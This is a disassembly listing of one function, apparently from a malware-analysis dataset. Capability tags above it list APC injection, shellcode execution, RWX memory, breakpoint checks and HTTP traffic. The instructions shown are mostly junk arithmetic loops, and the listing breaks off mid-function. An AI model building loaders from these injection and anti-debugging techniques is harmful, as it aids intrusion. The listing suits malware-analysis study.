Function at 0x26e0c1d34
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Connect to http server
Create http request
Encode data using base64
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Inject apc
Link many functions at runtime
Parse pe header
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbp
push rbx
mov eax, 0xc528
call fcn.26e15fec0
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0xc490], xmm6
mov qword [rbp + 0xc4c0], rcx
mov dword [rbp + 0xc4c8], edx
mov qword [rbp + 0xc4d0], r8
mov dword [rbp + 0x7ab0], 1
cmp dword [rbp + 0xc4c8], 1
jne 0x26e15f10b
mov ecx, 0x3a8
call sym.malloc
mov qword [rbp + 0x7aa8], rax
mov dword [rbp + 0xc488], 0
jmp 0x26e0c1de8
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26e1680e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xc488]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7aa8]
add rax, rdx
movsd xmm1, qword [0x26e1680e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xc488], 1
cmp dword [rbp + 0xc488], 0x74
jle 0x26e0c1d9a
mov dword [rbp + 0xc488], 0
jmp 0x26e0c1e4f
mov eax, dword [rbp + 0xc488]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7aa8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc488]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7aa8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xc488], 1
cmp dword [rbp + 0xc488], 0x74
jle 0x26e0c1dfd
mov ecx, 0x2d0
call sym.malloc
mov qword [rbp + 0x7aa0], rax
mov ecx, 0x2d0
call sym.malloc
mov qword [rbp + 0x7a98], rax
mov ecx, 0x2d0
call sym.malloc
mov qword [rbp + 0x7a90], rax
mov dword [rbp + 0xc484], 0
jmp 0x26e0c1f7e
mov dword [rbp + 0xc480], 0
jmp 0x26e0c1f6a
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xc484]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x7aa0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xc480]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xc484]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x7a98]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xc480]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xc480], 1
cmp dword [rbp + 0xc480], 9
jle 0x26e0c1ea9
add dword [rbp + 0xc484], 1
cmp dword [rbp + 0xc484], 0x11
jle 0x26e0c1e9a
mov dword [rbp + 0xc484], 0
jmp 0x26e0c205b
mov dword [rbp + 0xc480], 0
jmp 0x26e0c2047
mov eax, dword [rbp + 0xc484]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x7aa0]
add rdx, rax
mov eax, dword [rbp + 0xc480]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0xc484]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x7a98]
add rdx, rax
mov eax, dword [rbp + 0xc480]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xc484]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x7a90]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0xc480]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xc480], 1
cmp dword [rbp + 0xc480], 9
jle 0x26e0c1fa9
add dword [rbp + 0xc484], 1
cmp dword [rbp + 0xc484], 0x11
jle 0x26e0c1f9a
mov rax, qword [rbp + 0x7aa0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7a98]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7a90]
mov rcx, rax
call sym.free
mov dword [rbp + 0xc47c], 0xffffffff
mov ecx, 0x278
call sym.malloc
mov qword [rbp + 0x7a88], rax
mov ecx, 0x278
call sym.malloc
mov qword [rbp + 0x7a80], rax
add dword [rbp + 0xc47c], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xc47c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a88]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xc47c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a88]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc47c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a80]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xc47c], 0x4d
jle 0x26e0c20c1
mov dword [rbp + 0xc478], 0xb4
mov dword [rbp + 0xc474], 0x3c
jmp 0x26e0c21d7
mov eax, dword [rbp + 0xc478]
cmp eax, dword [rbp + 0xc474]
jle 0x26e0c21d0
sub dword [rbp + 0xc478], 1
jmp 0x26e0c21d7
sub dword [rbp + 0xc474], 1
cmp dword [rbp + 0xc478], 0
jg 0x26e0c21b9
mov ecx, 0x2d8
call sym.malloc
mov qword [rbp + 0x7a78], rax
mov dword [rbp + 0xc470], 0
jmp 0x26e0c223b
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xc470]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a78]
add rax, rdx
movsd xmm1, qword [0x26e1680e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xc470], 1
cmp dword [rbp + 0xc470], 0x5a
jle 0x26e0c21fd
mov dword [rbp + 0xc470], 0
jmp 0x26e0c22a2
mov eax, dword [rbp + 0xc470]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a78]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc470]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a78]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xc470], 1
cmp dword [rbp + 0xc470], 0x5a
jle 0x26e0c2250
mov ecx, 0xab0
call sym.malloc
mov qword [rbp + 0x7a70], rax
mov dword [rbp + 0xc46c], 0
jmp 0x26e0c2316
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26e1680e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xc46c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a70]
add rax, rdx
movsd xmm1, qword [0x26e1680e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xc46c], 1
cmp dword [rbp + 0xc46c], 0x155
jle 0x26e0c22c8
mov dword [rbp + 0xc46c], 0
jmp 0x26e0c2380
mov eax, dword [rbp + 0xc46c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a70]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc46c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a70]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xc46c], 1
cmp dword [rbp + 0xc46c], 0x155
jle 0x26e0c232e
mov ecx, 0x1b0
call sym.malloc
mov qword [rbp + 0x7a68], rax
mov ecx, 0x1b0
call sym.malloc
mov qword [rbp + 0x7a60], rax
mov dword [rbp + 0xc468], 0
jmp 0x26e0c2447
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xc468]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a68]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0xc468], 1
cmp dword [rbp + 0xc468], 0x35
jle 0x26e0c23bd
mov dword [rbp + 0xc468], 0
jmp 0x26e0c24b2
mov eax, dword [rbp + 0xc468]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a68]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc468]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a60]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xc468], 1
cmp dword [rbp + 0xc468], 0x35
jle 0x26e0c2460
mov dword [rbp + 0xc464], 0xffffffff
mov ecx, 0x258
call sym.malloc
mov qword [rbp + 0x7a58], rax
add dword [rbp + 0xc464], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xc464]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a58]
add rax, rdx
movsd xmm1, qword [0x26e1680e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0xc464]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a58]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc464]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a58]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xc464], 0x49
jle 0x26e0c24d6
mov qword [rbp + 0xc458], 0
mov dword [rbp + 0xc454], 0xe6
jmp 0x26e0c25ba
sub dword [rbp + 0xc454], 1
cmp dword [rbp + 0xc454], 0
jg 0x26e0c25b3
mov dword [rbp + 0x7a54], 1
mov ecx, 0xe4
call sym.malloc
mov qword [rbp + 0x7a48], rax
mov qword [rbp + 0xc448], 2
jmp 0x26e0c2612
mov rax, qword [rbp + 0xc448]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a48]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0xc448], 1
cmp qword [rbp + 0xc448], 0x38
jbe 0x26e0c25eb
mov qword [rbp + 0xc448], 2
jmp 0x26e0c26a4
mov rax, qword [rbp + 0xc448]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a48]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x26e0c269c
mov rax, qword [rbp + 0xc448]
mov qword [rbp + 0xc440], rax
jmp 0x26e0c2687
mov rax, qword [rbp + 0xc448]
imul rax, qword [rbp + 0xc440]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a48]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0xc440], 1
mov rax, qword [rbp + 0xc448]
imul rax, qword [rbp + 0xc440]
cmp rax, 0x38
jbe 0x26e0c2658
add qword [rbp + 0xc448], 1
cmp qword [rbp + 0xc448], 0x38
jbe 0x26e0c2629
mov rax, qword [rbp + 0x7a48]
mov rcx, rax
call sym.free
mov dword [rbp + 0xc43c], 0xffffffff
mov ecx, 0x2f0
call sym.malloc
mov qword [rbp + 0x7a40], rax
add dword [rbp + 0xc43c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26e1680e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xc43c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a40]
add rax, rdx
movsd xmm1, qword [0x26e1680e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xc43c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a40]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc43c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a40]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xc43c], 0x5c
jle 0x26e0c26dc
mov ecx, 0x788
call sym.malloc
mov qword [rbp + 0x7a38], rax
mov ecx, 0x788
call sym.malloc
mov qword [rbp + 0x7a30], rax
mov dword [rbp + 0xc438], 0
jmp 0x26e0c283d
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xc438]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a38]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0xc438], 1
cmp dword [rbp + 0xc438], 0xf0
jle 0x26e0c27b3
mov dword [rbp + 0xc438], 0
jmp 0x26e0c28ab
mov eax, dword [rbp + 0xc438]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a38]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc438]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a30]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xc438], 1
cmp dword [rbp + 0xc438], 0xf0
jle 0x26e0c2859
mov dword [rbp + 0xc434], 0xb4
jmp 0x26e0c28ca
sub dword [rbp + 0xc434], 1
cmp dword [rbp + 0xc434], 0x52
jg 0x26e0c28c3
mov ecx, 0x600
call sym.malloc
mov qword [rbp + 0x7a28], rax
mov dword [rbp + 0xc42c], 0
mov dword [rbp + 0xc428], 0
mov dword [rbp + 0xc430], 0
jmp 0x26e0c29aa
call sym.rand
mov edx, dword [rbp + 0xc430]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7a28]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xc430]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a28]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x26e0c2979
add dword [rbp + 0xc42c], 1
jmp 0x26e0c29a3
mov eax, dword [rbp + 0xc430]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a28]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x26e0c29a3
add dword [rbp + 0xc428], 1
add dword [rbp + 0xc430], 1
cmp dword [rbp + 0xc430], 0x17f
jle 0x26e0c2907
mov rax, qword [rbp + 0x7a28]
mov rcx, rax
call sym.free
mov dword [rbp + 0xc41c], 0
mov ecx, 0xa0
call sym.malloc
mov qword [rbp + 0x7a20], rax
mov dword [rbp + 0xc424], 0
jmp 0x26e0c2a68
mov dword [rbp + 0xc420], 0
jmp 0x26e0c2a58
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x6f6e9daf
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x24c2
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xc424]
cdqe
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x7a20]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xc420]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xc420], 1
cmp dword [rbp + 0xc420], 7
jle 0x26e0c29fc
add dword [rbp + 0xc424], 1
cmp dword [rbp + 0xc424], 4
jle 0x26e0c29f0
mov dword [rbp + 0xc424], 0
jmp 0x26e0c2ae4
mov dword [rbp + 0xc420], 0
jmp 0x26e0c2ad4
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0xc41c]
mov eax, dword [rbp + 0xc424]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x7a20]
add rdx, rax
mov eax, dword [rbp + 0xc420]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0xc41c], eax
add dword [rbp + 0xc420], 1
cmp dword [rbp + 0xc420], 7
jle 0x26e0c2a8d
add dword [rbp + 0xc424], 1
cmp dword [rbp + 0xc424], 4
jle 0x26e0c2a81
mov rax, qword [rbp + 0x7a20]
mov rcx, rax
call sym.free
mov dword [rbp + 0xc418], 0
mov dword [rbp + 0xc414], 0
mov ecx, 0x314
call sym.malloc
mov qword [rbp + 0x7a18], rax
mov dword [rbp + 0xc410], 0
jmp 0x26e0c2b9b
call sym.rand
mov edx, dword [rbp + 0xc410]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7a18]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xc410]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a18]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0xc418], eax
add dword [rbp + 0xc410], 1
cmp dword [rbp + 0xc410], 0xc4
jle 0x26e0c2b2d
mov dword [rbp + 0xc410], 0
jmp 0x26e0c2c23
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0xc414]
mov eax, dword [rbp + 0xc410]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a18]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x12c]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x26e1680f0]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0xc414], eax
add dword [rbp + 0xc410], 1
cmp dword [rbp + 0xc410], 0xc4
jle 0x26e0c2bb3
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0xc414]
movss xmm1, dword [0x26e1680f8]
divss xmm0, xmm1
movss dword [rbp + 0x7a14], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x7a14]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7a10], xmm0
mov rax, qword [rbp + 0x7a18]
mov rcx, rax
call sym.free
mov dword [rbp + 0xc40c], 0xffffffff
add dword [rbp + 0xc40c], 1
call sym.rand
imul eax, eax, 0x2cc
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26e1680e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x7a08], rax
cmp dword [rbp + 0xc40c], 0x1bb
jle 0x26e0c2c8f
mov dword [rbp + 0xc408], 0xfa
jmp 0x26e0c2cef
sub dword [rbp + 0xc408], 1
cmp dword [rbp + 0xc408], 0x2e
jg 0x26e0c2ce8
mov dword [rbp + 0xc404], 0xffffffff
mov ecx, 0x538
call sym.malloc
mov qword [rbp + 0x7a00], rax
add dword [rbp + 0xc404], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26e1680e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xc404]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a00]
add rax, rdx
movsd xmm1, qword [0x26e1680e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xc404]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a00]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc404]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a00]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xc404], 0xa5
jle 0x26e0c2d13
mov ecx, 0x2c0
call sym.malloc
mov qword [rbp + 0x79f8], rax
mov ecx, 0x2c0
call sym.malloc
mov qword [rbp + 0x79f0], rax
mov dword [rbp + 0xc400], 0
jmp 0x26e0c2e77
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xc400]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x79f8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0xc400], 1
cmp dword [rbp + 0xc400], 0x57
jle 0x26e0c2ded
mov dword [rbp + 0xc400], 0
jmp 0x26e0c2ee2
mov eax, dword [rbp + 0xc400]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x79f8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xc400]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x79f0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xc400], 1
cmp dword [rbp + 0xc400], 0x57
jle 0x26e0c2e90
mov ecx, 0x414
call sym.malloc
mov qword [rbp + 0x79e8], rax
mov dword [rbp + 0xc3f8], 0
mov dword [rbp + 0xc3f4], 0
mov dword [rbp + 0xc3fc], 0
jmp 0x26e0c2fc2
call sym.rand
mov edx, dword [rbp + 0xc3fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x79e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0xc3fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x79e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x26e0c2f91
add dword [rbp + 0xc3f8], 1
jmp 0x26e0c2fbb
mov eax, dword [rbp + 0xc3fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x79e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x26e0c2fbb
add dword [rbp + 0xc3f4], 1
add dword [rbp + 0xc3fc], 1
cmp dword [rbp + 0xc3fc], 0x104
jle 0x26e0c2f1f
mov rax, qword [rbp + 0x79e8]
mov rcx, rax
call sym.free
mov ecx, 0x230
call sym.malloc
mov qword [rbp + 0x79e0], rax
mov dword [rbp + 0xc3f0], 0
jmp 0x26e0c304b
call sym.rand
mov edx, dword [rbp + 0xc3f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x79e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0xc3f0], 1
cmp dword [rbp + 0xc3f0], 0x8b
jle 0x26e0c2ffe
mov dword [rbp + 0xc3f0], 0
jmp 0x26e0c313b
cmp dword [rbp + 0xc3f0], 0
je 0x26e0c30ab
mov eax, dword [rbp + 0xc3f0]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x79e0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0xc3f0]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x79e0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x26e0c30b7
add dword [rbp + 0xc3f0], 1
jmp 0x26e0c313b
mov eax, dword [rbp + 0xc3f0]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x79e0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x130], eax
mov eax, dword [rbp + 0xc3f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x79e0]
add rax, rdx
mov edx, dword [rbp + 0xc3f0]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x79e0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0xc3f0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x79e0]
add rdx, rax
mov eax, dword [rbp + 0x130]
mov dword [rdx], eax
sub dword [rbp + 0xc3f0], 1
cmp dword [rbp + 0xc3f0], 0x8b
jle 0x26e0c3066
mov rax, qword [rbp + 0x79e0]
mov rcx, rax
call sym.free
mov ecx, 0x930
call sym.malloc
mov qword [rbp + 0x79d8], rax
mov dword [rbp + 0xc3ec], 0
mov dword [rbp + 0x79d4], 1
mov dword [rbp + 0xc3e8], 0
jmp 0x26e0c3210
mov dword [rbp + 0xc3e4], 0
jmp 0x26e0c3200
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0xc3e8]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x79d8]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0xc3e4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0xc3e4], 1
cmp dword [rbp + 0xc3e4], 0x14
jle 0x26e0c319a
add dword [rbp + 0xc3e8], 1
cmp dword [rbp + 0xc3e8], 0x1b
jle 0x26e0c318e
mov dword [rbp + 0xc3e8], 0
jmp 0x26e0c328d
